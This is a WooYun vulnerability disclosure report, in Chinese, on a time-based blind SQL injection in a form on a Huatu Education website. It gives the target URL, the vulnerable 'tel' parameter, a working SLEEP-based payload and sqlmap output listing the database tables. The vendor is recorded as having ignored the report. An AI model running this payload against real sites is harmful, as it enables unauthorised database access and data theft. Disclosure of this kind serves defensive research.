当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152464

漏洞标题：华图教育某站post注入 (time based)

相关厂商：华图教育

漏洞作者： 路人甲

提交时间：2015-11-07 09:53

修复时间：2015-11-12 09:54

公开时间：2015-11-12 09:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-07： 细节已通知厂商并且等待厂商处理中
2015-11-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

仅仅是post注入 13个表

详细说明：

target:
http://sc.huatu.com:80/zt/shaifen/jieguo.php (POST)
name=123&tel=123&beizhu=123&huifang=123&diqu=%E9%9B%85%E5%AE%89%E5%B8%82&chafen=%E6%99%92%E4%B8%80%E6%99%92

漏洞证明：

sqlmap identified the following injection point(s) with a total of 329 HTTP(s) requests:
---
Parameter: tel (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: name=123&tel=123' AND (SELECT * FROM (SELECT(SLEEP(5)))LNba) AND 'YlyG'='YlyG&beizhu=123&huifang=123&diqu=%E9%9B%85%E5%AE%89%E5%B8%82&chafen=%E6%99%92%E4%B8%80%E6%99%92
---
web application technology: PHP 5.3.27
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tel (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: name=123&tel=123' AND (SELECT * FROM (SELECT(SLEEP(5)))LNba) AND 'YlyG'='YlyG&beizhu=123&huifang=123&diqu=%E9%9B%85%E5%AE%89%E5%B8%82&chafen=%E6%99%92%E4%B8%80%E6%99%92
---
web application technology: PHP 5.3.27
back-end DBMS: MySQL 5.0.12
Database: test
[13 tables]
+---------------+
| 2015gxsf      |
| 2015sbds      |
| 2015scsf      |
| 2015wsj_game1 |
| 2015wsj_game2 |
| 2015ztxz      |
| get_ip        |
| gz_info       |
| jilin_duanxin |
| jilin_kq30    |
| jilin_mssk    |
| jilin_mszt    |
| jilin_skmijq  |
+---------------+


基于时间 没有继续深入

WA2U17%7PH~5_P94KSIVB0H.png


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-12 09:54

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论